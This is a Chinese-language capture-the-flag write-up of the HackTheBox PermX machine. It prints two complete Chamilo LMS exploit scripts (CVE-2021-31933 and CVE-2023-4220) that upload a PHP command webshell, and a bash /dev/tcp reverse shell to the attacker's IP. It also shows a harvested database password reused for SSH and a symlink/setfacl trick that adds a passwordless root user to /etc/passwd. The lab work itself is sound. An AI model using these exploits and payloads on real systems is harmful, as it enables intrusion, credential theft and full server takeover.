HTB:PermX[WriteUP]
目录
连接至HTB服务器并启动靶机
1.How many TCP ports are listening on PermX?
使用nmap对靶机TCP端口进行开放扫描
2.What is the default domain name used by the web server on the box?
使用curl访问靶机80端口
3.On what subdomain of permx.htb is there an online learning platform?
使用ffuf对该域名进行子域名FUZZ
使用浏览器直接访问该子域
4.What is the name of the application running on `lms.permx.htb?
使用Wappalyzer查看该网站技术栈
5.What version of Chamilo is running on PermX?
使用ffuf对子域进行路径FUZZ
使用浏览器访问子域下robots.txt文件
6.What is the name of the 2023 CVE ID for a stored cross-site scripting vulnerability that leads to remote code execution?
启动Metasploit
进入CVE.MITRE.ORG网站搜索该CMS相关漏洞
7.What user is the webserver running as on PermX?
8.What is the full path to the file that holds configuration data to include the database connection information for Chamilo?
本地侧使用nc开始监听
9.Submit the flag located in the mtz user's home directory.
USER_FLAG:7239022c6248c28ed2945734c9e07ac9
10.What is the full path to the script that the mtz user can run as any user without a password?
11./opt/acl.sh allow for changing the access control list on file in what directory? (Don't include the trailing / on the directory.)
12.Does setfacl follow symbolic links by default?(YES)
13.Submit the flag located in the root user's home directory.
ROOT_FLAG:86f2867102ba7ec4855205a4f2096539
连接至HTB服务器并启动靶机
靶机IP:10.10.11.23
分配IP:10.10.14.12
1.How many TCP ports are listening on PermX?
使用nmap对靶机TCP端口进行开放扫描
nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.11.23
由扫描结果可见,靶机开放端口:22、80共2个端口
2.What is the default domain name used by the web server on the box?
使用curl访问靶机80端口
curl -I 10.10.11.23:80
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I 10.10.11.23:80
HTTP/1.1 302 Found
Date: Mon, 04 Nov 2024 00:32:59 GMT
Server: Apache/2.4.52 (Ubuntu)
Location: http://permx.htb
Content-Type: text/html; charset=iso-8859-1
由输出可见,直接访问靶机IP将被重定位至:permx.htb
3.On what subdomain of permx.htb
is there an online learning platform?
将靶机IP与域名进行绑定
echo '10.10.11.23 permx.htb' >> /etc/hosts
使用ffuf对该域名进行子域名FUZZ
ffuf -u http://permx.htb -H 'Host: FUZZ.permx.htb' -w ../dictionary/subdomains-top1mil-5000.txt -fc 302
再次将靶机IP与该子域进行绑定
echo '10.10.11.23 lms.permx.htb' >> /etc/hosts
使用浏览器直接访问该子域
搜索Chamilo,可见该子域:lms.permx.htb托管一个在线学习平台
4.What is the name of the application running on `lms.permx.htb?
使用Wappalyzer查看该网站技术栈
可见该页面所用WebAPP为:Chamilo(CMS)
5.What version of Chamilo is running on PermX?
使用ffuf对子域进行路径FUZZ
ffuf -u http://lms.permx.htb/FUZZ -w ../dictionary/common.txt
使用浏览器访问子域下robots.txt文件
进入documentation目录下
由该页面标题可见,该CMS版本为:1.11
6.What is the name of the 2023 CVE ID for a stored cross-site scripting vulnerability that leads to remote code execution?
对该CMS进行漏洞搜索
searchsploit Chamilo
将RCE相关的EXP拷贝到当前目录下
searchsploit -m 49867.py
查看该EXP代码
cat 49867.py
# Exploit Title: Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated)
# Date: 13/05/2021
# Exploit Author: M. Cory Billington (@_th3y)
# Vendor Homepage: https://chamilo.org
# Software Link: https://github.com/chamilo/chamilo-lms
# Version: 1.11.14
# Tested on: Ubuntu 20.04.2 LTS
# CVE: CVE-2021-31933
# Writeup: https://theyhack.me/CVE-2021-31933-Chamilo-File-Upload-RCE/from requests import Session
from random import choice
from string import ascii_lowercaseimport requests# This is all configuration stuff,
url = "http://127.0.0.1/chamilo-lms/" # URL to remote host web root
user_name = "admin" # User must be an administrator
password = "admin"
command = "id;whoami"# Where you want to upload your webshell. Must be writable by web server user.
# This spot isn't protectec by .htaccess
webshell_path = 'web/'
webshell_name = f"shell-{''.join(choice(ascii_lowercase) for _ in range(6))}.phar" # Just a random name for webshell file
content = f"<?php echo `{command}`; ?>"def main():# Run a context manager with a session object to hold login session after loginwith Session() as s:login_url = f"{url}index.php"login_data = {"login": user_name,"password": password}r = s.post(login_url, data=login_data) # login request# Check to see if login as admin user was successful.if "admin" not in r.url:print(f"[-] Login as {user_name} failed. Need to be admin")returnprint(f"[+] Logged in as {user_name}")print(f"[+] Cookie: {s.cookies}")file_upload_url = f"{url}main/upload/upload.php"# The 'curdirpath' is not santitized, so I traverse to the '/var/www/html/chamilo-lms/web/build' directory. I can upload to /tmp/ as wellphp_webshell_file = {"curdirpath": (None, f"/../../../../../../../../../var/www/html/chamilo-lms/{webshell_path}"),"user_upload": (webshell_name, content)}## Good command if you want to see what the request looks like without sending# print(requests.Request('POST', file_upload_url, files=php_webshell_file).prepare().body.decode('ascii'))# Two requests required to actually upload the filefor i in range(2):s.post(file_upload_url, files=php_webshell_file)exploit_request_url = f"{url}{webshell_path}{webshell_name}"print("[+] Upload complete!")print(f"[+] Webshell: {exploit_request_url}")# This is a GET request to the new webshell to trigger code executioncommand_output = s.get(exploit_request_url)print("[+] Command output:\n")print(command_output.text)if __name__ == "__main__":main()
由该EXP注释可知,该EXP基于漏洞:CVE-2021-31933。好像并不是我们要找的2023漏洞
启动Metasploit
msfconsole
搜索Chamilo相关模块
search Chamilo
可见该漏洞模块无需认证可直接代码注入导致RCE,切换至该模块
use exploit/linux/http/chamilo_unauth_rce_cve_2023_34960
查看该模块信息
info
从模块描述可见,该模块基于漏洞:CVE-2023-34960
往上一填,发现答案居然不对,才发现是要找存储型XSS漏洞
进入CVE.MITRE.ORG网站搜索该CMS相关漏洞
对stored cross-site进行搜索
该漏洞允许无认证文件执行JS脚本与上传Webshell:CVE-2023-4220
7.What user is the webserver running as on PermX?
我这边直接到Github上寻找该漏洞相关EXP
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-# Name : CVE-2023-4220
# Autor : Insomnia (Jacob S.)
# IG : insomnia.py
# X : @insomniadev_
# Yt : insomnia-dev
# Github : https://github.com/insomnia-jacob
# Description: Automation of RCE in Chamilo LMS on affected versions of CVE-2023-4220 through a web shellimport argparse
import requests
import time
from os import system
import io# Colors
red = '\033[31m'
green = '\033[32m'
blue = '\033[34m'
yellow = '\033[93m'
reset = '\033[0m'def arguments():global argsparser = argparse.ArgumentParser()parser.add_argument( '-t', '--target', required=True ,help='Enter the target domain, for example: http://example.com' )args = parser.parse_args()def check_url_exists(url):print(blue,'\n\n[+]', reset, 'Checking if it is vulnerable.')try:response = requests.head(url + '/main/inc/lib/javascript/bigupload/files', allow_redirects=True)if response.status_code == 200:is_vuln()try:response2 = requests.head(url + '/main/inc/lib/javascript/bigupload/files/insomnia.php', allow_redirects=True)if response2.status_code == 200:print(f'Success! open in browser: {url}/main/inc/lib/javascript/bigupload/files/insomnia.php')else:upload_file(args.target)except requests.RequestException as e:print(red,f"[x] Error checking the URL: {e}")return Falseelse:print(f'Error {url}')except requests.RequestException as e:print(red,f"[x] Error checking the URL: {e}")return Falsedef upload_file(url):new_url = url + '/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'insomnia_php = """
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?phpif(isset($_GET['cmd'])){system($_GET['cmd'] . ' 2>&1');}
?>
</pre>
</body>
</html>
"""file_like_object = io.BytesIO(insomnia_php.encode('utf-8'))file_like_object.name = 'insomnia.php' files = {'bigUploadFile': file_like_object}response3 = requests.post(new_url, files=files)print(response3.status_code)print(f'Success! open in browser: {url}/main/inc/lib/javascript/bigupload/files/insomnia.php')def is_vuln():print(red,'''
███████████████████████████
███████▀▀▀░░░░░░░▀▀▀███████
████▀░░░░░░░░░░░░░░░░░▀████
███│░░░░░░░░░░░░░░░░░░░│███
██▌│░░░░░░░░░░░░░░░░░░░│▐██
██░└┐░░░░░░░░░░░░░░░░░┌┘░██
██░░└┐░░░░░░░░░░░░░░░┌┘░░██ [*] "It is vulnerable!"
██░░┌┘▄▄▄▄▄░░░░░▄▄▄▄▄└┐░░██
██▌░│██████▌░░░▐██████│░▐██ [*] "It is vulnerable!"
███░│▐███▀▀░░▄░░▀▀███▌│░███
██▀─┘░░░░░░░▐█▌░░░░░░░└─▀██ [*] "It is vulnerable!"
██▄░░░▄▄▄▓░░▀█▀░░▓▄▄▄░░░▄██
████▄─┘██▌░░░░░░░▐██└─▄████ [*] "It is vulnerable!"
█████░░▐█─┬┬┬┬┬┬┬─█▌░░█████
████▌░░░▀┬┼┼┼┼┼┼┼┬▀░░░▐████
█████▄░░░└┴┴┴┴┴┴┴┘░░░▄█████
███████▄░░░░░░░░░░░▄███████
██████████▄▄▄▄▄▄▄██████████
███████████████████████████
''', reset) def target(url):print(blue ,f' URL: {url}')time.sleep(3)system("clear") def banner():textBanner = rf"""/ __)/ )( \( __)___(___ \ / \(___ \( __ \ ___ / _ \(___ \(___ \ / \
( (__ \ \/ / ) _)(___)/ __/( 0 )/ __/ (__ ((___)(__ ( / __/ / __/( 0 )\___) \__/ (____) (____) \__/(____)(____/ (__/(____)(____) \__/
"""print(green,textBanner)print(yellow,' by Insomnia (Jacob S.)')def main():arguments()banner()target(args.target)check_url_exists(args.target)if __name__ == '__main__':main()
直接使用该EXP开始漏洞利用
python exploit.py -t http://lms.permx.htb/
直接访问EXP提供的URL,执行whoami命令
由回显可见,当前用户为:www-data
8.What is the full path to the file that holds configuration data to include the database connection information for Chamilo?
本地侧使用nc开始监听
nc -lvnp 1425
通过EXP提供的Webshell反弹shell
bash -c 'bash -i >& /dev/tcp/10.10.14.12/1425 0>&1'
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nc -lvnp 1425
listening on [any] 1425 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.23] 53550
bash: cannot set terminal process group (1173): Inappropriate ioctl for device
bash: no job control in this shell
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ whoami
<ilo/main/inc/lib/javascript/bigupload/files$ whoami
www-data
提升TTY
script -c /bin/bash -q /dev/null
搜索WebAPP下所有可能的配置相关文件并输出为列表
find /var/www/chamilo -name 'conf*' -type f 2>/dev/null | tee res.txt
逐个查看文件内容,并匹配'password'字段
cat res.txt | xargs -I {} sh -c 'cat {} | grep "password"'
查询该字段出处:03F6lY3uXAP2bkW8
xargs -I {} sh -c 'grep -m1 "03F6lY3uXAP2bkW8" "{}" && echo "Found in {}"' < res.txt
www-data@permx:/var/www/chamilo$ xargs -I {} sh -c 'grep -m1 "03F6lY3uXAP2bkW8" "{}" && echo "Found in {}"' < res.txt
<lY3uXAP2bkW8" "{}" && echo "Found in {}"' < res.txt
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
Found in /var/www/chamilo/app/config/configuration.php
从该文件中找出匹配字符串并输出上下5行
grep -C 5 '03F6lY3uXAP2bkW8' /var/www/chamilo/app/config/configuration.php
www-data@permx:/var/www/chamilo$ grep -C 5 '03F6lY3uXAP2bkW8' /var/www/chamilo/app/config/configuration.php
<bkW8' /var/www/chamilo/app/config/configuration.php
// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
// Enable access to database management for platform admins.
$_configuration['db_manager_enabled'] = false;/**
* Directory settings.
账户:chamilo
密码:03F6lY3uXAP2bkW8
总结一下,该文件存储着数据库连接信息:/var/www/chamilo/app/config/configuration.php
9.Submit the flag located in the mtz user's home directory.
查看靶机支持登录的用户
cat /etc/passwd
尝试使用该用户对靶机进行SSH服务登录
ssh mtz@10.10.11.23
查询user_flag位置并查看其内容
mtz@permx:~$ find / -name 'user.txt' 2>/dev/null
/home/mtz/user.txt
mtz@permx:~$ cat /home/mtz/user.txt
7239022c6248c28ed2945734c9e07ac9
USER_FLAG:7239022c6248c28ed2945734c9e07ac9
10.What is the full path to the script that the mtz user can run as any user without a password?
查看该用户可无密码特权运行的命令
sudo -l
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_ptyUser mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
存在文件可无密码特权运行:/opt/acl.sh
11./opt/acl.sh
allow for changing the access control list on file in what directory? (Don't include the trailing /
on the directory.)
通过脚本内容可知,该脚本运行后允许在/home/mtz目录下赋任意链接任意权限
12.Does setfacl
follow symbolic links by default?(YES)
13.Submit the flag located in the root user's home directory.
尝试创建连接test,连接至/etc/passwd
ln -s /etc/passwd /home/mtz/test
通过/opt/acl.sh脚本为/home/mtz/test链接赋读写权限
sudo /opt/acl.sh mtz rw /home/mtz/test
mtz@permx:~$ ln -s /etc/passwd /home/mtz/test
mtz@permx:~$ ls
priv test user.txt
mtz@permx:~$ sudo /opt/acl.sh mtz rw /home/mtz/test
往/home/mtz/test链接中写入新用户
echo '0dayhp::0:0:0dayhp:/root:/bin/bash' >> /home/mtz/test
切换到0dayhp用户bash
su 0dayhp
查找root_flag位置并查看其内容
root@permx:/home/mtz# find / -name 'root.txt'
/root/root.txt
/var/www/chamilo/vendor/symfony/intl/Tests/Data/Bundle/Reader/Fixtures/txt/root.txt
root@permx:/home/mtz# cat /root/root.txt
86f2867102ba7ec4855205a4f2096539
ROOT_FLAG:86f2867102ba7ec4855205a4f2096539
相关文章:

HTB:PermX[WriteUP]
目录 连接至HTB服务器并启动靶机 1.How many TCP ports are listening on PermX? 使用nmap对靶机TCP端口进行开放扫描 2.What is the default domain name used by the web server on the box? 使用curl访问靶机80端口 3.On what subdomain of permx.htb is there an o…...
uniapp 整合 OpenLayers - 使用modify修改要素
import { Modify } from "ol/interaction"; 修改点、线、面的位置和形状核心代码: // 修改要素核心代码modifyFeature() {this.modify new Modify({source: this.lineStringLayer.getSource(),});this.map.addInteraction(this.modify);}, 完整代码&am…...

JMeter快速造数之数据导入导出
导入数据 输入表格格式如下 创建CSV Data Set Config 在Body Data中调用 { "username": "${email}", "password": "123456", "client_id": "00bb9dbfc67439a5d42e0e19f448c7de310df4c7fcde6feb5bd95c6fac5a5afc"…...

框架学习01-Spring
一、Spring框架概述 Spring是一个开源的轻量级Java开发框架,它的主要目的是为了简化企业级应用程序的开发。它提供了一系列的功能,包括控制反转(IOC)、注入(DI)、面向切面编程(AOP)…...

Java | Leetcode Java题解之第539题最小时间差
题目: 题解: class Solution {public int findMinDifference(List<String> timePoints) {int n timePoints.size();if (n > 1440) {return 0;}Collections.sort(timePoints);int ans Integer.MAX_VALUE;int t0Minutes getMinutes(timePoint…...

126页PPT麦肯锡战略实施与成本优化:质效提升与精益采购实践
麦肯锡企业PMO的各个阶段是一个结构化和系统化的过程,旨在确保项目的高效执行和成功交付。以下是麦肯锡企业PMO各个阶段的详细描述: 一、项目启动与规划阶段 此阶段的主要目标是明确项目目标、业务需求,以及制定项目章程和项目管理计划。 …...

Modbus解析流程全面升级:体验全新核心与终极优化!
01 前言 本文章原文发表于我的微信公众号,请大家关注阅读,涉及的源代码等都在公众号,请搜索公众号: 智能家居NodeRed和HomeAssistant 即可关注。 02 全面改进的解析流程 前面发布过的Modbus解析流程在经过多个设备测试后发现存…...

【MWorks】Ubuntu 系统搭建
升级 Ubuntu系统 sudo apt-get update sudo apt-get upgrade安装流程 sudo chmod x 路径/文件.run安装 sudo 路径/文件.run安装过程中两个选项都填 y 打开安装对应的文件夹 运行 syslab.sh 文件,运行结束后,就可以在左上角开始搜索到syslab了。...
安装Element-Plus与v-model在vue3组件中的使用
安装Element-Plus 1.安装Element-Plus # 选择一个你喜欢的包管理器# NPM npm install element-plus --save# Yarn yarn add element-plus# pnpm pnpm install element-plus 2.main.ts中导入 import { createApp } from vue import { createPinia } from piniaimport App fr…...

Qt学习笔记第41到50讲
第41讲 UI美化遗留问题解决 如上图所示目前记事本的雏形已现,但是还是有待优化,比如右下角的拖动问题。 解决方法: ①首先修改了Widget类的构造函数。 Widget::Widget(QWidget *parent) : QWidget(parent) , ui(new Ui::Widget) {ui->s…...
加固筑牢安全防线:多源威胁检测响应在企业网络安全运营中的核心作用
随着网络攻防技术的演进,传统威胁检测技术手段已难以适应快速变化的威胁。多维度协同的攻击手段使得单一的检测技术难以应对复杂的网络安全威胁,企业需要更先进的检测技术来提升安全防护能力。 一、传统威胁检测技术与单一检测的局限性 传统威胁检测技术…...

用Python将PDF表格提取到文本、CSV和Excel文件中
从PDF文档中提取表格并将其转换为更易于处理的格式(如文本、CSV和Excel文件),是数据分析和信息管理中的常见需求。此过程可显著简化表格数据的处理,使数据的操作、分析和与其他数据集的集成更加便捷。无论是财务报表、研究论文&am…...
AIGC在游戏设计中的应用及影响
文章目录 一、AIGC的基本概念与背景AIGC的主要应用领域AIGC技术背景 二、AIGC在游戏设计中的应用1. 自动化游戏地图与关卡设计示例:自动生成2D平台游戏关卡 2. 角色与物品生成示例:使用GAN生成虚拟角色 3. 游戏剧情与任务文本生成示例:基于GP…...

给初学者的 Jupyter Notebook 教程
目录 一、什么是Jupyter Notebook? 1. 简介 2. 组成部分 ① 网页应用 ② 文档 3. Jupyter Notebook的主要特点 二、安装Jupyter Notebook 0. 先试用,再决定 1. 安装 ① 安装前提 ② 使用Anaconda安装 ③ 使用pip命令安装 三、运行Jupyter No…...
搜维尔科技:Xsens和BoB助力生物力学教育
Xsens和BoB助力生物力学教育 搜维尔科技:Xsens和BoB助力生物力学教育...
Vue动态计算Table表格的高度
因为每个用户不同的电脑屏幕宽高度,造成了Table表格的高度不一致,因此想要动态计算出table的高度,让其能够正常的铺满整个屏幕 代码 完整代码如下:首先计算 窗口的高度 - 搜索框的高度 - 固定数值 mounted () {// 计算搜索框的高…...

【MongoDB】MongoDB的聚合(Aggregate、Map Reduce)与管道(Pipline) 及索引详解(附详细案例)
文章目录 MongoDB的聚合操作(Aggregate)MongoDB的管道(Pipline操作)MongoDB的聚合(Map Reduce)MongoDB的索引 更多相关内容可查看 MongoDB的聚合操作(Aggregate) 简单理解ÿ…...
数组和字符串的es6新方法使用和综合案例
文章目录 一、数组1.forEach() 对数组中的每个元素执行回调函数,无返回值。2.map() 通过对数组中的每个元素执行回调函数生成新的数组3.filter() 过滤返回一个符合条件的新数组4.find() 返回符合条件的第一个数组元素,如果不存在则返回undefined5.every(…...

JS语法进阶第一课!—DOM(重点)
1、DOM概念 DOM 是 JavaScript 操作网页的接口,全称为“文档对象模型”(Document Object Model) 当网页被加载时,浏览器将网页转为一个DOM,并用JS进行各种操作。比如:改变页面中的HTML 元素及其属性&#x…...
Swift 开发教程系列 - 第5章:集合类型
Swift 提供了几种常用的集合类型,用于存储和管理一组数据。这些集合类型包括数组(Array)、字典(Dictionary)和集合(Set)。本章将介绍它们的使用方法及常见操作。 5.1 数组(Array&am…...

CTF show Web 红包题第六弹
提示 1.不是SQL注入 2.需要找关键源码 思路 进入页面发现是一个登录框,很难让人不联想到SQL注入,但提示都说了不是SQL注入,所以就不往这方面想了 先查看一下网页源码,发现一段JavaScript代码,有一个关键类ctfs…...
golang循环变量捕获问题
在 Go 语言中,当在循环中启动协程(goroutine)时,如果在协程闭包中直接引用循环变量,可能会遇到一个常见的陷阱 - 循环变量捕获问题。让我详细解释一下: 问题背景 看这个代码片段: fo…...

Qt/C++开发监控GB28181系统/取流协议/同时支持udp/tcp被动/tcp主动
一、前言说明 在2011版本的gb28181协议中,拉取视频流只要求udp方式,从2016开始要求新增支持tcp被动和tcp主动两种方式,udp理论上会丢包的,所以实际使用过程可能会出现画面花屏的情况,而tcp肯定不丢包,起码…...

React第五十七节 Router中RouterProvider使用详解及注意事项
前言 在 React Router v6.4 中,RouterProvider 是一个核心组件,用于提供基于数据路由(data routers)的新型路由方案。 它替代了传统的 <BrowserRouter>,支持更强大的数据加载和操作功能(如 loader 和…...

【2025年】解决Burpsuite抓不到https包的问题
环境:windows11 burpsuite:2025.5 在抓取https网站时,burpsuite抓取不到https数据包,只显示: 解决该问题只需如下三个步骤: 1、浏览器中访问 http://burp 2、下载 CA certificate 证书 3、在设置--隐私与安全--…...
python如何将word的doc另存为docx
将 DOCX 文件另存为 DOCX 格式(Python 实现) 在 Python 中,你可以使用 python-docx 库来操作 Word 文档。不过需要注意的是,.doc 是旧的 Word 格式,而 .docx 是新的基于 XML 的格式。python-docx 只能处理 .docx 格式…...
MySQL中【正则表达式】用法
MySQL 中正则表达式通过 REGEXP 或 RLIKE 操作符实现(两者等价),用于在 WHERE 子句中进行复杂的字符串模式匹配。以下是核心用法和示例: 一、基础语法 SELECT column_name FROM table_name WHERE column_name REGEXP pattern; …...

vue3+vite项目中使用.env文件环境变量方法
vue3vite项目中使用.env文件环境变量方法 .env文件作用命名规则常用的配置项示例使用方法注意事项在vite.config.js文件中读取环境变量方法 .env文件作用 .env 文件用于定义环境变量,这些变量可以在项目中通过 import.meta.env 进行访问。Vite 会自动加载这些环境变…...

R语言速释制剂QBD解决方案之三
本文是《Quality by Design for ANDAs: An Example for Immediate-Release Dosage Forms》第一个处方的R语言解决方案。 第一个处方研究评估原料药粒径分布、MCC/Lactose比例、崩解剂用量对制剂CQAs的影响。 第二处方研究用于理解颗粒外加硬脂酸镁和滑石粉对片剂质量和可生产…...

【电力电子】基于STM32F103C8T6单片机双极性SPWM逆变(硬件篇)
本项目是基于 STM32F103C8T6 微控制器的 SPWM(正弦脉宽调制)电源模块,能够生成可调频率和幅值的正弦波交流电源输出。该项目适用于逆变器、UPS电源、变频器等应用场景。 供电电源 输入电压采集 上图为本设计的电源电路,图中 D1 为二极管, 其目的是防止正负极电源反接, …...